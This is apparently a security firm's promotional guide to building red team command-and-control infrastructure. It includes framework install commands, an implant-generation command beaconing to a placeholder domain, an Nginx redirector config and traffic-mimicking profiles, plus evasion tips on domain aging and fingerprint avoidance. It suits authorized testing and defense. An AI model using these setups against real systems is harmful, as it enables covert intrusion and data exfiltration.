Building C2 Infrastructure: A Pentester's Guide

Command and control infrastructure, commonly shortened to C2, is the operational backbone of any red team engagement that goes beyond a simple vulnerability scan. If you are simulating a real adversary, you need infrastructure that behaves like one: resilient, distributed, and built to survive detection attempts from a mature blue team. This guide walks through how professional penetration testers design, provision, and operate C2 infrastructure for authorized engagements.

At SageFox Cybersecurity, our red team operators treat infrastructure design as its own discipline, separate from exploitation and post-exploitation. Get that foundation wrong, and even a well-executed engagement can collapse the moment a defender pulls a WHOIS record or flags a TLS certificate.

What Is Command and Control Infrastructure in Penetration Testing?

C2 infrastructure refers to the servers, domains, listeners, and traffic relays that allow an operator to communicate with implants running on compromised systems. In a real intrusion, this is how threat actors issue commands, exfiltrate data, and maintain persistence. In an authorized penetration test, the same architecture is used to demonstrate exactly how that adversary behavior would unfold against the client's environment, under a signed scope of work.

A typical C2 deployment includes:

• A team server that hosts the C2 framework and manages sessions
• One or more listeners that accept implant callbacks
• Redirectors that sit between the internet and the team server
• Domains and certificates that make traffic blend into normal web activity
• Payload generation and staging infrastructure

Every one of these pieces needs to be planned before the first payload is ever built.

Why Professional Red Teams Need Purpose-Built C2 Infrastructure

Off-the-shelf, default configurations get burned fast. Security vendors maintain signature databases for default JA3 hashes, default SSL certificates, and known team server banners belonging to popular frameworks. If your infrastructure looks like a tutorial deployment, an EDR vendor's threat intel team has probably already fingerprinted it.

Purpose-built infrastructure matters because it:

• Extends the useful lifespan of an engagement before detection
• Produces a more realistic assessment of the client's actual detection and response capability
• Reduces the chance of infrastructure being flagged and burned mid-engagement
• Demonstrates genuine adversary tradecraft rather than tool defaults

This is also where experienced teams differentiate themselves. Anyone can spin up a framework with default settings. Building infrastructure that survives a determined SOC analyst for the full engagement window takes planning. If your organization is scoping an engagement and wants operators who build this way by default, SageFox Cybersecurity structures every red team infrastructure buildout around this exact principle.

Core Components of a C2 Framework

Team Servers and Listeners

The team server is the central hub. It manages active implant sessions, logs operator activity, and issues tasking. Listeners are the protocol-specific endpoints, HTTP, HTTPS, DNS, or raw TCP, that implants beacon back to.

Most modern engagements favor HTTPS listeners because encrypted web traffic blends into normal enterprise traffic patterns and is harder for network defenders to inspect without TLS interception.

Payloads and Implants

The implant is the code running on the compromised host that communicates with the listener. Implant behavior, including jitter, sleep timers, and jitter randomization, directly affects how "noisy" the beacon traffic looks to a SIEM correlating connection intervals.

Redirectors and Traffic Relays

Redirectors are intermediary servers that forward traffic to the team server without exposing its real IP address. If a redirector gets flagged and taken down, the team server itself remains untouched and operations continue from a fresh redirector.

Choosing a C2 Framework for Engagements

There are several mature, actively maintained frameworks used across professional red teams. The right choice depends on the engagement's objectives, the target environment's tech stack, and the operator's familiarity with the tooling.

Sliver

Sliver is an open-source, cross-platform C2 framework written in Go, popular for its mTLS, HTTP(S), DNS, and WireGuard C2 channels. It supports multiplayer operations, making it a strong choice for team-based engagements.

bash

curl https://sliver.sh/install | sudo bash
sliver-server

Once installed, generating an HTTPS implant is straightforward:

sliver > generate --http c2.example-redirect.com --os windows --arch amd64 --save /ops/implants/

Mythic

Mythic is a Docker-based, cross-platform C2 framework with a web UI and a modular agent architecture. Its plugin system allows operators to load different agent types (apollo, poseidon, athena) depending on the target operating system and desired protocol.

bash

git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo ./install_docker_ubuntu.sh
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo
sudo ./mythic-cli start

Havoc

Havoc is a modern, actively developed framework known for its malleable configuration profiles and sleep obfuscation techniques, useful for engagements against environments with mature EDR deployments.

bash

git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
sudo ./Install.sh
./havoc server --profile ./profiles/havoc.yaotl -v

Regardless of which framework your team standardizes on, the framework itself is only one piece. The infrastructure surrounding it is what determines whether the engagement survives.

Step-by-Step: Standing Up a Basic C2 Environment

Provisioning Infrastructure

Use cloud providers that support fast teardown and redeployment. Many operators use a mix of VPS providers to avoid concentrating all infrastructure on a single ASN, which makes network-level blocking trivial for a defender.

bash

# Example: provisioning a redirector droplet
doctl compute droplet create redirector-01 \
 --region nyc3 \
 --image ubuntu-22-04-x64 \
 --size s-1vcpu-1gb \
 --ssh-keys <your-key-id>

Configuring a Team Server

Harden the team server before it ever touches an implant. Restrict administrative access to a VPN or bastion host, disable password authentication over SSH, and enable full logging of operator commands for the after-action report.

bash

sudo ufw default deny incoming
sudo ufw allow from <vpn-cidr> to any port 22
sudo ufw allow 443/tcp
sudo ufw enable

Setting Up Redirectors

An Nginx redirector configured with reverse proxy rules is one of the most common patterns. Legitimate-looking traffic gets forwarded to the team server, while everything else is dropped or redirected to a decoy site to frustrate scanning.

nginx

server {
   listen 443 ssl;
   server_name c2.example-redirect.com;

   ssl_certificate /etc/letsencrypt/live/example-redirect.com/fullchain.pem;
   ssl_certificate_key /etc/letsencrypt/live/example-redirect.com/privkey.pem;

   location /update/ {
       proxy_pass https://TEAMSERVER_IP:443;
       proxy_set_header Host $host;
       proxy_set_header X-Real-IP $remote_addr;
   }

   location / {
       return 302 https://www.microsoft.com;
   }
}

The catch-all redirect to a legitimate site is a standard technique that filters out scanners, researchers, and curious analysts poking at the domain without a valid implant URI path.

Domain Fronting and Traffic Shaping

Malleable C2 profiles allow operators to shape HTTP headers, URIs, and response formatting to mimic legitimate services such as content delivery networks or common SaaS platforms. A well-built profile makes beacon traffic indistinguishable from normal browser activity at a glance.

yaml

http-get:
   uri: "/api/v2/metrics"
   client:
       header "Accept" "application/json"
       header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
   server:
       header "Content-Type" "application/json"
       output:
           print

Domains should be aged before use whenever possible. Freshly registered domains carry a lower trust score in most secure web gateways and threat intel feeds, and can trigger alerts purely on domain age heuristics.

OPSEC Considerations for C2 Infrastructure

Operational security failures are the most common reason engagements get burned early. A few practices that consistently separate professional infrastructure from amateur setups:

• Rotate redirector IPs and domains between engagements, never reuse infrastructure across clients
• Use categorized domains (business, technology, or finance categories) to avoid web proxy category-based blocking
• Match TLS certificate issuers and cipher suites to what is normal for the target's region and industry
• Segment logging so that operator activity, implant traffic, and infrastructure health are reviewable independently
• Avoid default framework banners, ports, and error pages that fingerprinting tools scan for

Teams that skip these steps often find their infrastructure blocked within days, which limits the realism and value of the assessment. This is one of the reasons organizations bring in specialists rather than running these engagements internally. SageFox Cybersecurity builds fresh, engagement-specific infrastructure for every client rather than reusing static setups, precisely to avoid this failure mode.

Detection Evasion vs Defensive Awareness

There is an important distinction between building infrastructure to evade detection during an authorized test, and understanding how defenders should be detecting that same infrastructure. A professional red team engagement is only valuable if it produces actionable findings for the blue team afterward.

Good C2 infrastructure documentation for a client report should include:

• Every domain, IP address, and certificate used during the engagement
• Timestamps of beacon check-ins correlated against the client's own SIEM data
• Recommendations for detection rules based on the traffic patterns observed
• Gaps identified in DNS filtering, TLS inspection, or egress monitoring

This turns the offensive exercise into a genuine improvement in the client's detection posture rather than a one-off stunt.

Legal and Engagement Scoping Requirements

None of the techniques in this guide should be used outside of a signed, explicitly authorized engagement. Before any infrastructure is stood up, a proper scope of work should define:

• The exact IP ranges, domains, and systems in scope
• Rules of engagement around social engineering, physical access, and third-party services
• An emergency stop procedure and points of contact on both sides
• Data handling requirements for anything exfiltrated during testing
• Reporting timelines and remediation windows

Unauthorized use of C2 infrastructure against systems you do not have explicit written permission to test is illegal in most jurisdictions, regardless of intent.

Common Mistakes in C2 Deployments

Even experienced testers run into avoidable issues. The most frequent ones include:

• Reusing the same VPS provider and region for every engagement, creating a pattern defenders eventually recognize
• Leaving default framework ports open instead of proxying through a redirector
• Failing to stagger implant check-in intervals, producing an obvious beaconing pattern in network telemetry
• Skipping certificate transparency log awareness, which can expose new domains the moment a cert is issued
• Not documenting infrastructure teardown, leaving orphaned cloud resources running after the engagement ends

Each of these mistakes has burned real engagements. Planning around them from day one, rather than reacting to detection after the fact, is what separates a professional buildout from a rushed one.

Final Thoughts

Command and control infrastructure is not a side detail of a penetration test, it is the operational foundation the entire engagement is built on. Redirectors, malleable profiles, domain aging, and disciplined OPSEC all work together to give a client an accurate picture of how a real adversary would move through their environment, and how well their detection stack would actually respond.

Building this kind of infrastructure well takes experience, deliberate planning, and a lot of trial and error against real defensive stacks. If your organization is looking for a red team that treats infrastructure design with this level of rigor, SageFox Cybersecurity is ready to scope your next engagement.